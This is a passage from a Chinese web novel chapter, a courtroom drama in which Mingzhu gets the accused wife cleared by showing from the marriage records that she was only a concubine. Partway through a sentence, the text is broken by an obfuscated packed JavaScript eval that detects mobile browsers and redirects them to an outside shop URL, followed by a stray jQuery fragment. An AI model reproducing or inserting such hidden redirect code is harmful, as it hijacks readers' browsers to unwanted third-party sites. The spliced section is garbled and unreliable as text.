“我们来谈谈条件吧,如果我们把这个事放到公堂之上,只怕老太太你也讨不了好,你这把年纪如果真流放的话,只怕受不住,何必做如此两败俱伤的事”。
陈老太太不屑一顾,她扫了眼屋子里的婆子,“这里都是我的人,没有人会出去乱说,就算放到公堂之上,你也没有任何证据”。
她站起身子,又端起了老太太的派头。
“老身这回,必要看着于氏那贱人及与她通奸的杨林这对狗男女再不得翻身,你们也不用在老身身上浪费口舌了,再来多少人,老身也是这个答复”。
说着便领着人往外走。
“陈老太太,谁说我没有证据?”
陈老太太脚步一顿,回身望来。
明珠对着她轻笑了一下,唰的拉来了屏风。
屏风后面竟是个小门,与隔壁相通。
几道人影一闪,竟是裴临、谢是言,并几位当初堂上的陪审员鱼贯而出。
细看之下,后面还有两个书吏正在记着什么。
陈老太太腿一软,栽到后面婆子的身上。
*
睦州府衙,再次开堂。
陈老太太这次不再是苦主,跪于堂下。
她阴沉着脸,“......因为于氏顶撞了老身,老身一时生气,便灌了她红花汤”。
季文渊斟酌道,“你可愿与于氏和解,如果她原谅你的行为,也许,你可以不受处罚”。
陈老太太冷笑道,“老身没做错,不需要她的谅解,既然做了便敢承担,即使老身流放三千里,也要让这对奸夫淫.妇受到该有的惩罚”。
*
府衙花厅。
“这老虔婆,就该一刀剁了她!她竟拼着流放也要铁了心至夫人于死地”,杨林双目腥红,一拳重重的砸在桌子上。
众人愁眉不展,本来以为找到了对方的弱点,事情可以转圜,没想到这老虔婆竟豁出了性命,哪怕鱼死网破,也要与于氏为难到底。
分明是受人指使,有备而来,不达目的,不会罢休。
气氛压抑至极。
杨林心疼于氏,回忆起往昔,一双虎目也微湿。
“当初,夫人来投奔我,后来,我二人情投意合,她为了给陈家留面子,我便应了她的要求,未大操大办,不过一顶小轿便将夫人接进了府,这些年来,我公务繁忙,夫人也未享过什么福,早知那陈家会如此,还不如当初大操大办,好歹也让夫人风光一回......”
睦州府衙的老人对此事都有耳闻,此时听了也不免唏嘘。
明珠脑海里飞快的闪过什么。
“杨大人,你和夫人是否登记了婚书?”
杨林怔了怔,不知她为何会问这个,“未曾,当时我怕委屈她,寻思等她孝期过了,再好好办一下,后来她不在意,我们也未曾想起来......”
她混身一震,等不及听杨林说完,提起裙子便冲了出去。
“哎!”,季文渊怔了一下,尴尬的手呆在了半空,明珠却已闪身跑远,连影子都不见了。
“这孩子......”
*
明珠一跑狂奔,耳边风声呼呼而过,她却只能听见自己狂跳的心脏声,彷彿要跳出心口。
她都顾不上了。
《永徽律疏》中,未出先夫孝期而改嫁他人的女子,确实是触犯不义之罪,罪不可赦。
但是,这一条的最末,还有一行小字——
改嫁他人为妾者,不属于此罪。
明珠觉得全身的血液都涌到了头顶,到了府衙管理婚书之处,她已面色涨红,跑的上气不接下气。
婚处管理之处,是睦州司法参军管辖,下面的人听了明珠的来意,知道要调杨刺史的婚书,面色微变,只道明珠等着,转身不知去向谁汇报。
明珠等了有一柱香的时间,他才回转,明珠忙迎上去。
他却摇了摇头,只告诉明珠,婚书管理所乃是重地,按律只有刺史的手书,才可以调取。
只不过杨刺史做为本案的回避之人,眼下有朝中之人督办此案,就算有杨刺史的手书,也不可以。
明珠又摆出了季文渊,那人却仍然摇了摇头,显然连季文渊这个睦州长史,也未在眼里。
明珠说了半天好话,那人都无动于衷,还当着面珠的面,唰一下的拉上了门。
明珠心下微凉,一个小小的看门人,连长史都不放在眼中,只怕也被人吩咐过了。
她只觉得她们像被一张早有预谋的大网迎面网住,越挣脱却被困的却紧。
明珠呆呆的坐在台阶上发呆,午后的阳光晒在她本就涨的通红的脸,她混然未觉。
柳叶打着转轻轻落于她眼前,倏忽间,她眼间闪过了一个人。
*
裴临这次仍和上回一样,不住官驿,而是住在客栈中。
看见季明珠提着果篮突的出现,裴临有些意外。
“你怎么来了?”
明珠把果篮放在他面前的桌子上,又往前推了推,谄媚的笑道,“裴世子来了睦州,杨刺史也不便,我便替杨刺史来给您送点吃的,回头世子再有什么缺的,使个人来说一声,肯定给你准备的妥妥贴贴的”。
裴临只扫了一眼,又垂下眸子看着手中的公文,“拿回去”。
就应该给你下毒,明珠心中暗骂,面上却还得堆着笑。
“您不用客气,一点子水果而已”。
裴临似是有些不耐,抬起头,“好,我收下,你回去吧”。
末了,又说了一句,“顺便把门关上”。
这男的就应该孤独终老,没有一个女人能受得了他这个死样子。
毕竟有求于人,明珠忍了。
“其实,我还有一个不情之请”。
裴临放下了手中的公文,黑眸直直的望来,似乎早有预料。
明珠咽了咽口水,将来龙去脉的简单的复述了一遍,她说的极快,就怕他不耐烦听,中途把她赶出去。
“......婚书管理处现在为难我,所以想麻烦你帮忙调取一下杨刺史的婚书”。
她一口气说完,裴临皱了皱眉头。
明珠等了半响,他却只吐出两个字,“走吧”。
裴临长腿微抬,已是走到门口,一把拉开了门。
明珠不仅大急,她往桌子的方向靠了靠,她还不能走啊......
刚要开口挣扎,对上了裴临不解的眼神。
“你不是着急吗?还不带路?”
电光火石之间,明珠明白了他的意思,随之而来巨大的狂喜将她裹挟。
她差点将舌头咬掉,“好好好,您往这边走”。
婚书管理处的人没想到明珠竟这样快又去而复返,端着不耐烦的一张脸准备再次驱赶明珠。
面前却突然出现一块腰牌,上面明晃晃的刻着“刑部”二字。
那人呆呆的看着这个做工精致的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598802|203293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腰牌,半响说不出话来,“这......”
明珠道,“这什么啊,这位是主管刑部的裴世子,还愣着干什么,需要向上级汇报就赶紧去,不需要汇报就赶紧调了来,裴世子查案,难道有时间看你在这磨磨蹭蹭的”。
那人不敢做主,当真转身去向上级汇报。
留明珠二人,在台阶前等候。
裴临眸子微转,扫了一眼她狐假虎威的样子。
明珠说完,心下觉得解气,不经意的对上裴临的目光,心下微赦,装作若无其事的看向别处。
裴临一言不发,明珠又不知说什么好。
以往对他的傲慢嗤之以鼻,也没少在心中暗骂他狗男人。
可是这回来求他,他痛快的出人意料,倒叫她以后再不好骂他了。
跟一块冰山独处,真要命。
那人这回快了很多,回来的时候已经换了一幅态度,恭恭敬敬的奉还裴临的腰牌,又呈上了杨林的婚书。
明珠夺过,一眼扫了过去。
*
明珠再入大牢,探望于氏。
比起最初的懵然和慌张,这几日于氏已经慢慢的调整了心情,又恢复了些明珠往日见她时的那种从容温婉。
明珠说了来意,“......既然杨大人的婚书上没有您,礼制上来说您就不算嫁与了杨大人,为了渡过这次难关,只得委屈您,明日再开堂,您就说你一直是妾”。
当时想给陈家留些面子,便未操办,二人只简单拜了天地,便算成了婚,也未急于再去登记婚书。
没想到如今到成了保命符。
“这算何委屈,倒是你这孩子都瘦了,想必这一阵子,一直在为此事奔走了,为了我的事,真是难为你了”。
于氏叹了口气,红着眼眶握住了明珠的手。
“我哪有啊,倒是夫人您真的瘦了,您一定要保重自己,杨刺史还在外面等您回家”。
*
第四次开堂。
季文渊先是宣了此前给于氏把脉的两个大夫,证实了于氏确实因被人下药,造成再也不能生育的后果。
明珠又将手中的婚书递给衙役展示。
“请各位大人看一下杨刺史的婚书,这是我从婚书管理处调过来的,杨刺史的婚书中,妻一栏中,只记载了先夫人一位,并未有于氏,说明于氏只是嫁与杨刺史为妾,《永徽律疏》中不义这一条中,确实有未出孝期即改嫁的一项,但是,它后面也规定了,嫁人为妾者,不属于此罪!”
明珠掷地有声的声音砸向了公堂,砸的围观群众一愣。
没想到事情如此精彩,居然还有反转。
谢是言轻笑了下,这次来睦州,当真不虚此行啊。
没想到这个十七八岁的女子,不仅是季文渊背后的智囊,而做为一个白身女子,在公堂上公然发言,睦州府衙的人早已见怪不怪,看来是早已习以为常了。
呈上了杨林的纳于氏为妾的手书供词,又把于氏提了上来对峙。
于氏道,“杨大人纳我为妾,以往,不过是在外人面前给我面子,称一声夫人罢了”。
陈老太太如遭累击,她不可置信的一把扯过婚书,死死的盯着。
可是就算她将婚书盯出个洞,也改变不了上面白纸黑字,没有于氏的事实。
陈老太太委顿于地。
明珠见状,心中正要松口气。
陈老太太灰败的脸上却突然冒出狠绝的神彩。